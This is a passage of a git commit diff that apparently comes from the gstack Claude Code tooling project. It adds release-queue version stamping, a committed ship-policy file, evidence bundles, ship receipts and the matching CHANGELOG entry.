Use Garry Tan's exact Claude Code setup: 23 opinionated tools that serve as CEO, Designer, Eng Manager, Release Manager, Doc Engineer, and QA
TypeScript
v1.91.73.0 feat(ship): repo ship policy, `gstack-restamp` stamp-at-merge, tree receipt, evidence bundle, ship receipt (multi-agent wave C-stamp) (#3118)
Garry Tan75523621969a
diff --git a/.gitignore b/.gitignoreindex be8321cbe..813873f3b 100644--- a/.gitignore+++ b/.gitignore@@ -23,7 +23,9 @@ bin/.gstack-cso-build-resultbin/.gstack-cso-build.loglib/cso/images/gstack-cso-verifierlib/cso/images/gstack-cso-preparation-.gstack/+.gstack/*+!.gstack/ship-policy.json+!.gstack/ship-policy.example.json.claude/skills/.claude/gstack-rendered/.claude/scheduled_tasks.lockdiff --git a/.gstack/ship-policy.example.json b/.gstack/ship-policy.example.jsonnew file mode 100644index 000000000..c148aa2a7--- /dev/null+++ b/.gstack/ship-policy.example.json@@ -0,0 +1,15 @@+{+ "$schema": "https://github.com/garrytan/gstack/docs/ship-policy.md#schema-v1",+ "bump": "patch",+ "queue_mode": "stamp-at-merge",+ "release_tool": "bun run release:restamp",+ "release_outputs": ["generated/**"],+ "stamp_paths": ["docs/**/*.md", "README.md"],+ "changelog": "CHANGELOG.md",+ "mirror": "../paired-repo",+ "history": "merge-only",+ "preregistration_shas": ["0123456789abcdef0123456789abcdef01234567"],+ "stamp_sensitive_gates": ["digest"],+ "pr_count": { "default_pr_count": 1, "split_requires_owner": true },+ "maintainers": ["garrytan"]+}diff --git a/.gstack/ship-policy.json b/.gstack/ship-policy.jsonnew file mode 100644index 000000000..54426b45e--- /dev/null+++ b/.gstack/ship-policy.json@@ -0,0 +1,15 @@+{+ "$schema": "https://github.com/garrytan/gstack/docs/ship-policy.md#schema-v1",+ "bump": "ask",+ "queue_mode": "claim-at-open",+ "release_tool": "bun scripts/gen-agents-digest.ts",+ "release_outputs": ["agents-digest/gstack-AGENTS.md"],+ "stamp_paths": [],+ "changelog": "CHANGELOG.md",+ "mirror": null,+ "history": "squash-ok",+ "preregistration_shas": [],+ "stamp_sensitive_gates": ["tests"],+ "pr_count": { "default_pr_count": 1, "split_requires_owner": true },+ "maintainers": []+}diff --git a/CHANGELOG.md b/CHANGELOG.mdindex c939a6de2..068cd1145 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -1,5 +1,33 @@# Changelog+## [1.91.73.0] - 2026-10-11++**"Ship, next in queue at <version>" with zero manual stamp edits: a committed repo ship policy, `gstack-restamp` that stamps a PR only when it is next to merge (and re-stamps after a reorder in one step), a tree receipt that proves the only change since the gate was the stamp, a portable evidence bundle, and a ship receipt in the PR body.**++Reordering a release queue used to mean hand-editing VERSION, CHANGELOG headings, `(was X)` mentions and the lockfile on every PR behind the moved one, then re-running a full gate on a tree that differed only by those bytes. This release (multi-agent wave PR C-stamp) makes the stamp one command and the gate decision a receipt.++### What this means for you++- **`.gstack/ship-policy.json`** declares the repo's bump policy, `queue_mode` (`claim-at-open` or `stamp-at-merge`), `release_tool` and its allowed outputs, `stamp_paths`, CHANGELOG rules, mirror, history policy (`merge-only`), preregistration SHAs, stamp-sensitive gates, PR count and maintainers. `bin/gstack-ship-policy init|validate|show-effective|check-history` reads it from `origin/<base>` (never the working tree silently; `POLICY_SOURCE_UNAVAILABLE` on a shallow checkout); a policy that only exists on the branch is labeled `head (unreviewed)`. Commands the policy names run only under `--allow-repo-commands` or inside `/ship`; a refusal happens before any write and says `nothing written`. `docs/ship-policy.md`; `.gstack/ship-policy.example.json`.+- **`bin/gstack-restamp --version X | --next | --after <pr>`**: under `stamp-at-merge`, `--next` is the base's configured version source plus the policy bump (claims ignored); `--expect-base <sha>` and `--expect-order <pr,...>` re-validate right before merge and return `QUEUE_STALE` with the exact recomputation command when either moved; `--after <pr>` builds the gate-ahead merge in a throwaway worktree, stamps relative to the predecessor and records its head and the evidence branch key in `.gstack/tmp/gate-ahead.json`, leaving the PR branch's history untouched. The release tool runs in a staging worktree against an enumerated allowed-output set with preimages and postimages; every stage is journaled (`.gstack/tmp/restamp-journal.json`) so a failure resumes or rolls back, and a rollback refuses to overwrite a later user edit (`RESTAMP_CONFLICT`). Idempotent; `--dry-run` prints the full diff and writes nothing. Stamp rewriting is provenance-based: `(was X)`, `since: X` and `vX` are rewritten only where they are the branch's own tentative stamp, so a dependency pin that equals the old version is never touched.+- **`bin/gstack-tree-receipt`** compares committed heads hunk by hunk with per-file-type rules (version file, manifest version, lockfile root `version` keys only, CHANGELOG heading move, exact stamp patterns) and prints `TREE: same-modulo-stamps` or `TREE: changed (<paths>)` plus `gate-reuse: eligible` or `not-eligible (<what changed>) — fix: …`. Equivalence is per gate: lanes the policy marks stamp-sensitive always rerun. `PREDECESSOR MOVED <old> -> <new>` refuses reuse when the gate-ahead predecessor moved.+- **`gstack-evidence bundle`** exports comparison material, the required-lane manifest, executed selections, run URLs, outcomes, hashes and execution identity (runtime, normalized lockfile hashes, CI workflow tree, runtime pins, runner image), distinguishing verified from imported lanes; a coordinator on a fresh machine reads it after the gate VM is gone and reuse is refused when identity is unknown. `gstack-evidence ancestor` checks preregistration SHAs are ancestors (`PREREGISTRATION_NOT_ANCESTOR`).+- **`bin/gstack-ship-receipt write|read --pr|census`** writes the fenced, schema-versioned ship receipt as the first block of the PR body (session kind, tree verdict, gate reuse, policy, queue mode, preregistration, history, artifacts consumed) and `census --repo --since <tag>` computes the adoption number over merged PRs, deduplicated by run and thread against a cohort file.+- **`/ship`**: Step 3 prints the policy and history lines, Step 12 under stamp-at-merge calls `gstack-restamp` and never asks for a version when the policy says `bump patch`, Step 16 consults the tree receipt per lane and leaves `--force-gate <reason>` to the coordinator, and the PR body opens with the receipt. gstack's own policy is committed (`bump ask`, `claim-at-open`, `release_tool: bun scripts/gen-agents-digest.ts`).++### Itemized changes++#### Added+- `lib/ship-policy.ts`, `lib/restamp.ts`, `lib/changelog-check.ts`, `lib/tree-receipt.ts`, `lib/evidence-bundle.ts`, `lib/ship-receipt.ts`; `bin/gstack-ship-policy`, `bin/gstack-restamp`, `bin/gstack-tree-receipt`, `bin/gstack-ship-receipt`; `gstack-evidence bundle|ancestor`; `.gstack/ship-policy.json`, `.gstack/ship-policy.example.json`, `docs/ship-policy.md`; 22 result codes with troubleshooting anchors (`POLICY_*`, `QUEUE_STALE`, `RESTAMP_*`, `CHANGELOG_*`, `GATE_REUSE_NOT_ELIGIBLE`, `EVIDENCE_*`, `PREREGISTRATION_NOT_ANCESTOR`, `HISTORY_POLICY_VIOLATION`, `RECEIPT_*`).++#### Changed+- `lib/headless-artifacts.ts` ship-receipt schema extended (thread, tree enum, gate_reuse, policy, queue_mode, preregistration, history); `gstack-artifact validate --as ship-receipt`.+- `ship/SKILL.md.tmpl` Steps 3, 12, 16 and `ship/sections/pr-body.md.tmpl`; union bytes +462 (1,937 headroom) paid for by condensing unpinned sentences and moving queue and receipt instructions into `gstack-ship-policy show-effective`'s `ship:` lines and `gstack-restamp`'s `next:` line. Four ship goldens regenerated.++#### For contributors+- New tests: `test/gstack-ship-policy.test.ts`, `test/gstack-restamp-queue.test.ts` (three PRs reordered twice with zero manual edits, injected failure after every stage, concurrent-edit conflict, squash-history gate-ahead, `QUEUE_STALE`, release tool writing outside its allowed set, metadata-only lockfile change, version-source shapes), `test/restamp-command-boundary.test.ts`, `test/tree-receipt-stamp-sensitive.test.ts` (including the dependency-pin negative fixture), `test/evidence-bundle-portability.test.ts` (fresh clone, empty state root), `test/gstack-ship-receipt.test.ts`; fixture helper `test/helpers/restamp-fixture.ts`.+- Not in this release: the policy's `mirror` is parsed and validated but its stage prints `skipped (no mirror in policy)` (tier 2); C4 regen registry, C6 issue links and the C8 pre-gate follow in C-pregate.+## [1.91.72.0] - 2026-10-11**`/autoplan` runs unattended end to end: `gstack-autoplan next|submit` drives the review phases as a durable state machine for a parent agent, the outside voice is a pluggable runner (Codex CLI, API, or a cross-family host subagent), review phases load a short checklist instead of the whole methodology, and the spec-review loop stops honestly at its cap.**diff --git a/VERSION b/VERSIONindex 862374d70..7eb161545 100644--- a/VERSION+++ b/VERSION@@ -1 +1 @@-1.91.72.0+1.91.73.0diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.mdindex 2457c4136..6e459583a 100644--- a/agents-digest/gstack-AGENTS.md+++ b/agents-digest/gstack-AGENTS.md@@ -1,4 +1,4 @@-# gstack digest v1.91.72.0 — regenerate/re-copy after upgrading gstack+# gstack digest v1.91.73.0 — regenerate/re-copy after upgrading gstackBehavioral rules from gstack (https://github.com/garrytan/gstack), compressedfor agent hosts without a full skill install. The full skills add workflows,diff --git a/bin/gstack-doctor-components.sh b/bin/gstack-doctor-components.shindex 5a952ed1f..39e109f0b 100644--- a/bin/gstack-doctor-components.sh+++ b/bin/gstack-doctor-components.sh@@ -104,6 +104,28 @@ gstack_result_anchor() {RUNTIME_PIN_CONFLICT) printf '%s' 'capy-install-runtime-conflict' ;;BROWSER_UNAVAILABLE) printf '%s' 'browser-ensure-failed' ;;INSTALL_PREFLIGHT_FAILED) printf '%s' 'capy-install-preflight-failed' ;;+ POLICY_SOURCE_UNAVAILABLE) printf '%s' 'policy-source-unavailable' ;;+ POLICY_INVALID) printf '%s' 'policy-invalid' ;;+ POLICY_CONTAINMENT) printf '%s' 'policy-containment' ;;+ POLICY_EXISTS) printf '%s' 'policy-exists' ;;+ REPO_COMMANDS_NOT_ALLOWED) printf '%s' 'repo-commands-not-allowed' ;;+ QUEUE_STALE) printf '%s' 'queue-stale' ;;+ RESTAMP_VERSION_SOURCE) printf '%s' 'restamp-version-source' ;;+ RESTAMP_MERGE_CONFLICT) printf '%s' 'restamp-merge-conflict' ;;+ RESTAMP_RELEASE_TOOL_FAILED) printf '%s' 'restamp-release-tool-failed' ;;+ RESTAMP_OUTPUT_OUTSIDE_ALLOWED) printf '%s' 'restamp-output-outside-allowed' ;;+ RESTAMP_CONFLICT) printf '%s' 'restamp-conflict' ;;+ RESTAMP_PREDECESSOR_MOVED) printf '%s' 'restamp-predecessor-moved' ;;+ CHANGELOG_DUPLICATE_HEADING) printf '%s' 'changelog-duplicate-heading' ;;+ CHANGELOG_TOP_MISMATCH) printf '%s' 'changelog-top-mismatch' ;;+ CHANGELOG_SECTION_MISSING) printf '%s' 'changelog-section-missing' ;;+ GATE_REUSE_NOT_ELIGIBLE) printf '%s' 'gate-reuse-not-eligible' ;;+ EVIDENCE_IDENTITY_UNKNOWN) printf '%s' 'evidence-identity-unknown' ;;+ EVIDENCE_BUNDLE_INVALID) printf '%s' 'evidence-bundle-invalid' ;;+ PREREGISTRATION_NOT_ANCESTOR) printf '%s' 'preregistration-not-ancestor' ;;+ HISTORY_POLICY_VIOLATION) printf '%s' 'history-policy-violation' ;;+ RECEIPT_MISSING) printf '%s' 'receipt-missing' ;;+ RECEIPT_INVALID) printf '%s' 'receipt-invalid' ;;EXECUTION_UNKNOWN) printf '%s' 'execution-unknown' ;;RUN_LOCKED) printf '%s' 'run-locked' ;;RUN_NOT_INITIALIZED) printf '%s' 'run-not-initialized' ;;diff --git a/bin/gstack-evidence b/bin/gstack-evidenceindex fc717e017..b3844620c 100755--- a/bin/gstack-evidence+++ b/bin/gstack-evidence@@ -6,6 +6,9 @@* gstack-evidence run --label <L> -- <cmd...>* gstack-evidence check [--label <L> [--expect-cmd <exact string>]]... | --all* [--max-age <hours>] [--allow-paths <csv>]+ * gstack-evidence bundle --out <file> [--label <L>]... [--require <csv>] [--selection L=<text>]...+ * [--run-url L=<url>]... [--import <json>] [--base <branch>] (plan C3; lib/evidence-bundle.ts)+ * gstack-evidence ancestor <sha>... | --from-policy [--base <branch>] (plan C7)** `run` is a TRANSPARENT wrapper: it streams the child's output through* unchanged, tees it to a 0600 log (2MB cap with a truncation marker), and@@ -49,6 +52,10 @@ import { spawnSync } from "child_process";import { appendJsonl, readJsonl } from "../lib/jsonl-store";import { resolveStateRoot } from "../lib/state-root";import { scan, applyRedactions } from "../lib/redact-engine";+import { buildBundle, checkAncestors } from "../lib/evidence-bundle";+import { resultLine } from "../lib/result-codes";+import { isUnavailable, loadPolicyFromBase, resolveBaseBranch } from "../lib/ship-policy";+import { versionAtRef } from "../lib/restamp";const BIN_DIR = dirname(Bun.fileURLToPath(import.meta.url));const LOG_MAX_BYTES = 2 * 1024 * 1024;@@ -653,14 +660,83 @@ function cmdCheck(argv: string[]): number {return allFresh ? 0 : 1;}+/** C3: export the ledger's latest record per label plus the execution identity as a portable bundle. */+function cmdBundle(argv: string[]): number {+ const labels: string[] = [];+ const selections: Record<string, string> = {};+ const runUrls: Record<string, string> = {};+ let out: string | undefined;+ let required: string[] | undefined;+ let imported: Record<string, unknown>[] = [];+ let base: string | undefined;+ const kv = (into: Record<string, string>, raw: string) => { const i = raw.indexOf("="); if (i > 0) into[raw.slice(0, i)] = raw.slice(i + 1); };+ for (let i = 0; i < argv.length; i++) {+ const a = argv[i];+ if (a === "--label") labels.push(argv[++i] ?? "");+ else if (a === "--out") out = argv[++i];+ else if (a === "--require") required = (argv[++i] ?? "").split(",").map((s) => s.trim()).filter(Boolean);+ else if (a === "--selection") kv(selections, argv[++i] ?? "");+ else if (a === "--run-url") kv(runUrls, argv[++i] ?? "");+ else if (a === "--base") base = argv[++i];+ else if (a === "--import") {+ try { const parsed = JSON.parse(readFileSync(argv[++i] ?? "", "utf-8")); imported = Array.isArray(parsed) ? parsed : [parsed]; }+ catch (e: any) { console.error(`gstack-evidence bundle: --import unreadable (${e?.message ?? e})`); return 2; }+ }+ }+ if (!out) { console.error("usage: gstack-evidence bundle --out <file> [--label <L>]... [--require <csv>] [--selection L=<text>]... [--run-url L=<url>]... [--import <json>]"); return 2; }+ const repoRoot = git(["rev-parse", "--show-toplevel"]) ?? process.cwd();+ let records: Record<string, unknown>[] = [];+ try { records = readJsonl<Record<string, unknown>>(ledgerPath().file); } catch { records = []; }+ const policy = loadPolicyFromBase(repoRoot, resolveBaseBranch(repoRoot, base));+ const p = isUnavailable(policy) ? null : policy.policy;+ const head = versionAtRef(repoRoot, "HEAD");+ const comparison = {+ version_rel: "rel" in head ? head.rel : "VERSION", version: "version" in head ? head.version : null,+ changelog: p?.changelog ?? "CHANGELOG.md", stamp_paths: p?.stamp_paths ?? [], release_outputs: p?.release_outputs ?? [],+ };+ let gstackVersion: string | null = null;+ try { gstackVersion = readFileSync(join(BIN_DIR, "..", "VERSION"), "utf-8").trim(); } catch {}+ const built = buildBundle({ repoRoot, ledgerRecords: records, labels, required, selections, runUrls, imported, comparison, gstackVersion });+ for (const e of built.errors) console.error(resultLine("gstack-evidence bundle", e.code, e.message));+ if (!built.bundle) return 1;+ mkdirpSync(dirname(out));+ const { writeFileSync } = require("fs") as typeof import("fs");+ writeFileSync(out, JSON.stringify(built.bundle, null, 2) + "\n");+ const verified = built.bundle.lanes.filter((l) => l.verified).length;+ console.log(`EVIDENCE_BUNDLE: ${out} tree=${built.bundle.repo.tree} lanes=${built.bundle.lanes.length} verified=${verified} imported=${built.bundle.imported.length}${built.bundle.repo.dirty ? " dirty=yes (committed heads only; lanes on a dirty tree are not verified)" : ""}`);+ return built.errors.length ? 1 : 0;+}++/** C7: every preregistration sha must be an ancestor of HEAD. */+function cmdAncestor(argv: string[]): number {+ const repoRoot = git(["rev-parse", "--show-toplevel"]) ?? process.cwd();+ let shas = argv.filter((a) => !a.startsWith("--") && argv[argv.indexOf(a) - 1] !== "--base");+ if (argv.includes("--from-policy")) {+ const loaded = loadPolicyFromBase(repoRoot, resolveBaseBranch(repoRoot, argv[argv.indexOf("--base") + 1]));+ if (isUnavailable(loaded)) { console.error(resultLine("gstack-evidence ancestor", "POLICY_SOURCE_UNAVAILABLE", loaded.detail)); return 3; }+ shas = [...shas, ...loaded.policy.preregistration_shas];+ }+ if (shas.length === 0) { console.log("ANCESTOR: none (no preregistration_shas)"); return 0; }+ const results = checkAncestors(repoRoot, shas);+ for (const r of results) {+ if (r.ok) console.log(`ANCESTOR: ok ${r.sha} (${r.detail})`);+ else console.log(`ANCESTOR: missing ${r.sha} (${r.detail}) — fix: merge or rebase so it is in the branch history, or drop it from the policy (PREREGISTRATION_NOT_ANCESTOR)`);+ }+ return results.every((r) => r.ok) ? 0 : 1;+}+const [, , sub, ...rest] = process.argv;try {if (sub === "run") {process.exit(await cmdRun(rest));} else if (sub === "check") {process.exit(cmdCheck(rest));+ } else if (sub === "bundle") {+ process.exit(cmdBundle(rest));+ } else if (sub === "ancestor") {+ process.exit(cmdAncestor(rest));} else {- console.error("usage: gstack-evidence run|check ...");+ console.error("usage: gstack-evidence run|check|bundle|ancestor ...");process.exit(2);}} catch (e: any) {diff --git a/bin/gstack-restamp b/bin/gstack-restampnew file mode 100755index 000000000..06d24f351--- /dev/null+++ b/bin/gstack-restamp@@ -0,0 +1,106 @@+#!/usr/bin/env bun+/**+ * gstack-restamp — the whole stamp in one step (plan C2).+ *+ * gstack-restamp --next | --version <X> | --after <pr> [--predecessor-ref <ref>]+ * [--base <branch>] [--bump micro|patch|minor|major] [--queue-mode stamp-at-merge|claim-at-open]+ * [--pr <n>] [--expect-base <sha>] [--expect-order <pr,pr,...>]+ * [--policy-from base|head] [--allow-repo-commands] [--dry-run] [--json]+ *+ * Runs gstack-version-bump write, the policy's release_tool, the CHANGELOG+ * re-heading and the stamp_paths rewrites in an isolated staging worktree,+ * shows the diff limited to stamp files, and writes the branch only after+ * every stage validated (journal: .gstack/tmp/restamp-journal.json).+ * Idempotent; --dry-run writes nothing. Workflow command: ends with the+ * GSTACK_RESULT line. Logic: lib/restamp.ts; policy: lib/ship-policy.ts.+ */+import { spawnSync } from 'node:child_process';+import { EXIT, exitTableHelp, formatResult } from '../lib/headless-artifacts';+import { GATE_AHEAD_REL, JOURNAL_REL, restamp, type RestampResult } from '../lib/restamp';+import { RESULT_CODES, type ResultCodeName } from '../lib/result-codes';+import { resolveBaseBranch } from '../lib/ship-policy';+import type { Bump } from '../lib/version-source';++const HELP = `gstack-restamp — stamp the version, release tool, CHANGELOG and stamp_paths in one step (docs/ship-policy.md)++ --next base version at origin/<base> plus the policy bump (stamp-at-merge ignores claims)+ --version <X> stamp exactly X+ --after <pr> gate-ahead: stamp a merge of HEAD and the predecessor's head in a throwaway worktree+ --predecessor-ref <ref> the predecessor's head (default refs/pull/<pr>/head; fetch it first)+ --base <branch> base branch (default: origin/HEAD, else main)+ --bump <level> micro|patch|minor|major (default: policy bump, else micro)+ --queue-mode <mode> stamp-at-merge | claim-at-open (default: policy queue_mode, else claim-at-open)+ --pr <n> this PR, for --expect-order and the gate-ahead record+ --was <X> the version the branch's docs mention today (default: the branch's own stamp, else base + bump)+ --expect-base <sha> refuse with QUEUE_STALE when origin/<base> moved+ --expect-order <pr,...> refuse with QUEUE_STALE when a predecessor is unmerged or a successor merged+ --policy-from base|head base (default, reviewed) or head (unreviewed; needs --allow-repo-commands)+ --allow-repo-commands run the policy's release_tool (what /ship passes); without it, commands are listed and exit 3+ --dry-run print the full diff, write nothing+ --json JSON only on stdout++Prints STAMP_VERSION: <X>, the stage table, the stamp diff and+GSTACK_RESULT: skill=restamp status=complete|refused|incomplete run=${JOURNAL_REL}.+${exitTableHelp()}`;++function flag(args: string[], name: string): string | undefined {+ const i = args.indexOf(name);+ return i >= 0 ? args[i + 1] : undefined;+}++function main(argv: string[]): number {+ if (argv.includes('--help') || argv.includes('-h')) { process.stdout.write(HELP + '\n'); return EXIT.ok; }+ const json = argv.includes('--json');+ const modes = ['--next', '--version', '--after'].filter(f => argv.includes(f));+ if (modes.length !== 1) { process.stderr.write(`gstack-restamp: pass exactly one of --next, --version <X>, --after <pr>\n${HELP}\n`); return EXIT.usage; }+ const bump = flag(argv, '--bump') as Bump | undefined;+ if (bump && !['micro', 'patch', 'minor', 'major'].includes(bump)) { process.stderr.write('gstack-restamp: --bump needs micro|patch|minor|major\n'); return EXIT.usage; }+ const queueMode = flag(argv, '--queue-mode') as 'stamp-at-merge' | 'claim-at-open' | undefined;+ if (queueMode && !['stamp-at-merge', 'claim-at-open'].includes(queueMode)) { process.stderr.write('gstack-restamp: --queue-mode needs stamp-at-merge|claim-at-open\n'); return EXIT.usage; }+ const policyFrom = (flag(argv, '--policy-from') ?? 'base') as 'base' | 'head';+ if (!['base', 'head'].includes(policyFrom)) { process.stderr.write('gstack-restamp: --policy-from needs base|head\n'); return EXIT.usage; }+ const rootProbe = spawnSync('git', ['rev-parse', '--show-toplevel'], { encoding: 'utf8', timeout: 15_000 });+ if (rootProbe.status !== 0) { process.stderr.write('gstack-restamp: not inside a git repository\n'); return EXIT.usage; }+ const repoRoot = rootProbe.stdout.trim();+ const after = flag(argv, '--after');+ const base = resolveBaseBranch(repoRoot, flag(argv, '--base'));++ const result = restamp({+ repoRoot, base, version: flag(argv, '--version'), next: argv.includes('--next'), bump, queueMode,+ after: after ? { pr: after, ref: flag(argv, '--predecessor-ref') } : undefined, pr: flag(argv, '--pr'),+ expectBase: flag(argv, '--expect-base'), was: flag(argv, '--was'), expectOrder: flag(argv, '--expect-order')?.split(',').map(s => s.trim()).filter(Boolean),+ policyFrom, allowRepoCommands: argv.includes('--allow-repo-commands'), dryRun: argv.includes('--dry-run'),+ failAfter: process.env.GSTACK_RESTAMP_FAIL_AFTER,+ });+ return report(result, json);+}++function report(r: RestampResult, json: boolean): number {+ const status = r.status === 'refused' ? 'refused' : r.status === 'failed' ? 'incomplete' : 'complete';+ const code = r.status === 'refused' ? EXIT.refused : r.status === 'failed' ? EXIT.fail : EXIT.ok;+ if (json) {+ process.stdout.write(JSON.stringify({ ...r, result: status }) + '\n');+ return code;+ }+ if (r.code) {+ const row = RESULT_CODES[r.code as ResultCodeName];+ process.stderr.write(`gstack-restamp: ${r.message}; fix: ${r.fix ?? row.fix} (${r.code})\n`);+ if (r.recompute) process.stderr.write(`recompute: ${r.recompute}\n`);+ if (r.commands?.length && r.code === 'REPO_COMMANDS_NOT_ALLOWED') for (const c of r.commands) process.stdout.write(`COMMAND: ${c.key}=${JSON.stringify(c.command)} cwd=${c.cwd}\n`);+ } else {+ process.stdout.write(`RESTAMP: ${r.oldVersion} -> ${r.newVersion} (${r.status}; queue_mode=${r.queueMode} base=${r.base?.ref}@${r.base?.sha?.slice(0, 12)} policy=${r.policy})\n`);+ if (r.queueMode === 'stamp-at-merge' && r.status !== 'gate-ahead') process.stdout.write(`ship, next in queue at ${r.newVersion}\n`);+ process.stdout.write(`STAMP_VERSION: ${r.newVersion}\nclaims: ${r.claims}\n`);+ for (const s of r.stages) process.stdout.write(`stage ${s.name}: ${s.status}${s.detail ? ` (${s.detail})` : ''}\n`);+ if (r.gateAhead) process.stdout.write(`GATE_AHEAD: head=${r.gateAhead.gated_head} tree=${r.gateAhead.gated_tree} predecessor=#${r.gateAhead.predecessor_pr}@${r.gateAhead.predecessor_head.slice(0, 12)} worktree=${r.gateAhead.worktree} evidence_branch=${r.gateAhead.evidence_branch_key}\n`);+ if (r.diff) process.stdout.write(r.diff + (r.diff.endsWith('\n') ? '' : '\n'));+ process.stdout.write(`FILES: ${(r.files ?? []).join(' ') || '(none)'}\n`);+ if (r.mergeCondition) process.stdout.write(`MERGE_CONDITION: sha=${r.mergeCondition}\n`);+ if (r.status === 'gate-ahead' && r.gateAhead) process.stdout.write(`next: run the verification gate in ${r.gateAhead.worktree}, then \`gstack-evidence bundle --out <file>\` there; the branch is untouched. At this PR's turn rerun \`gstack-restamp --next\` here and read \`gstack-tree-receipt --from ${GATE_AHEAD_REL}\` before deciding what to rerun.\n`);+ else if (r.status === 'stamped' || r.status === 'noop') process.stdout.write(`next: NEW_VERSION=${r.newVersion}; record the release decision, then write the CHANGELOG entry text only (the heading is already ${r.newVersion}); merge with the expected head ${r.mergeCondition ?? 'sha'} and recompute on a stale queue.\n`);+ }+ process.stdout.write(formatResult('restamp', status, r.journal ?? JOURNAL_REL) + '\n');+ return code;+}++process.exitCode = main(process.argv.slice(2));diff --git a/bin/gstack-ship-policy b/bin/gstack-ship-policynew file mode 100755index 000000000..2c1d61d9b--- /dev/null+++ b/bin/gstack-ship-policy@@ -0,0 +1,140 @@+#!/usr/bin/env bun+/**+ * gstack-ship-policy — read, validate and explain `.gstack/ship-policy.json` (plan C1).+ *+ * gstack-ship-policy init [--explain] [--force] write the example (every key at its default)+ * gstack-ship-policy validate [--policy-from head|base] [--base <ref>] [--json]+ * gstack-ship-policy show-effective [--policy-from base|head] [--base <ref>] [--json]+ * gstack-ship-policy check-history [--base <ref>] [--branch <name>] [--plan merge|squash|rebase] [--json]+ *+ * `show-effective` reads the committed copy on origin/<base> by default (the+ * reviewed policy); `validate` reads the working tree by default (the file+ * you are editing). Query commands: no GSTACK_RESULT line; `--json` means+ * JSON only on stdout. Logic: lib/ship-policy.ts; codes: lib/result-codes.ts.+ */+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT, exitTableHelp } from '../lib/headless-artifacts';+import { resultLine } from '../lib/result-codes';+import {+ SHIP_POLICY_PATH, examplePolicyJson, explainPolicy, isUnavailable, loadPolicyFromBase, loadPolicyFromHead,+ policyUnavailableLine, renderEffective, resolveBaseBranch, type LoadedPolicy,+} from '../lib/ship-policy';++const HELP = `gstack-ship-policy — the repo ship policy (docs/ship-policy.md)++ init [--explain] [--force] write ${SHIP_POLICY_PATH} with every key at its default+ validate [--policy-from head|base] [--base <ref>] schema and containment check (default: the working tree)+ show-effective [--policy-from base|head] [--base <ref>]+ resolved values with the source of each (default: origin/<base>)+ check-history [--base <ref>] [--branch <name>] [--plan merge|squash|rebase]+ under history: merge-only, refuse a squash/rebase plan or a rewritten branch++--json: JSON only on stdout. Error lines end in (<CODE>) with a fix: clause.+${exitTableHelp()}`;++function flag(args: string[], name: string): string | undefined {+ const i = args.indexOf(name);+ return i >= 0 ? args[i + 1] : undefined;+}+function usage(message: string): number {+ process.stderr.write(`gstack-ship-policy: ${message}\n${HELP}\n`);+ return EXIT.usage;+}+function repoRoot(): string {+ const r = spawnSync('git', ['rev-parse', '--show-toplevel'], { encoding: 'utf8', timeout: 15_000 });+ return r.status === 0 && r.stdout.trim() ? r.stdout.trim() : process.cwd();+}++function load(root: string, args: string[], defaultFrom: 'base' | 'head'): LoadedPolicy | number {+ const from = flag(args, '--policy-from') ?? defaultFrom;+ if (from !== 'base' && from !== 'head') return usage('--policy-from needs base or head');+ if (from === 'head') return loadPolicyFromHead(root);+ const base = resolveBaseBranch(root, flag(args, '--base'));+ const loaded = loadPolicyFromBase(root, base);+ if (isUnavailable(loaded)) {+ process.stderr.write(policyUnavailableLine('gstack-ship-policy', base, loaded.detail) + '\n');+ return EXIT.refused;+ }+ return loaded;+}++function printErrors(loaded: LoadedPolicy): void {+ for (const e of loaded.errors) process.stderr.write(resultLine('gstack-ship-policy', e.code, `${e.message} at ${e.path || SHIP_POLICY_PATH}`) + '\n');+}++function main(argv: string[]): number {+ const [cmd, ...rest] = argv;+ const json = rest.includes('--json');+ if (!cmd || cmd === '--help' || cmd === '-h' || cmd === 'help') { process.stdout.write(HELP + '\n'); return cmd ? EXIT.ok : EXIT.usage; }+ const root = repoRoot();++ if (cmd === 'init') {+ if (rest.includes('--explain')) { process.stdout.write(explainPolicy()); if (rest.length === 1) return EXIT.ok; }+ const file = path.join(root, SHIP_POLICY_PATH);+ if (fs.existsSync(file) && !rest.includes('--force')) {+ process.stderr.write(resultLine('gstack-ship-policy init', 'POLICY_EXISTS', file) + '\n');+ return EXIT.refused;+ }+ fs.mkdirSync(path.dirname(file), { recursive: true });+ fs.writeFileSync(file, examplePolicyJson());+ process.stdout.write(`POLICY_WRITTEN: ${SHIP_POLICY_PATH} (edit it, then gstack-ship-policy validate; commit it on the base branch before /ship reads it)\n`);+ return EXIT.ok;+ }++ if (cmd === 'validate' || cmd === 'show-effective') {+ const loaded = load(root, rest, cmd === 'validate' ? 'head' : 'base');+ if (typeof loaded === 'number') return loaded;+ if (json) {+ process.stdout.write(JSON.stringify({ valid: loaded.errors.length === 0, present: loaded.present, source: loaded.source, policy: loaded.policy, values: loaded.values, errors: loaded.errors }) + '\n');+ return loaded.errors.length ? EXIT.fail : EXIT.ok;+ }+ printErrors(loaded);+ if (cmd === 'validate') {+ process.stdout.write(loaded.errors.length ? `POLICY_INVALID: ${loaded.errors.length} error(s) in ${loaded.source.label}\n` : `POLICY_VALID: ${loaded.present ? loaded.source.label : `no ${SHIP_POLICY_PATH} (defaults apply)`}\n`);+ return loaded.errors.length ? EXIT.fail : EXIT.ok;+ }+ process.stdout.write(renderEffective(loaded, { base: flag(rest, '--base') ?? resolveBaseBranch(root) }));+ return loaded.errors.length ? EXIT.fail : EXIT.ok;+ }++ if (cmd === 'check-history') {+ const loaded = load(root, rest, 'base');+ if (typeof loaded === 'number') return loaded;+ const branch = flag(rest, '--branch') ?? (spawnSync('git', ['branch', '--show-current'], { cwd: root, encoding: 'utf8', timeout: 15_000 }).stdout ?? '').trim();+ const policy = loaded.policy.history;+ const plan = flag(rest, '--plan') ?? 'merge';+ if (!['merge', 'squash', 'rebase'].includes(plan)) return usage(`--plan must be merge, squash or rebase (got ${plan})`);+ const result: Record<string, unknown> = { history: policy, branch: branch || null, plan };+ let verdict: string;+ let code = EXIT.ok;+ if (policy !== 'merge-only') verdict = `HISTORY: squash-ok (no check; policy history=${policy}; plan=${plan})`;+ else if (plan !== 'merge') {+ verdict = `HISTORY: refused (plan=${plan} rewrites history; policy history=merge-only keeps every reviewed commit reachable so gate evidence and preregistration ancestry stay bound to the shas that were gated) — fix: integrate with a merge commit, or set history: squash-ok in .gstack/ship-policy.json on the base branch (HISTORY_POLICY_VIOLATION)`;+ code = EXIT.refused;+ }+ else if 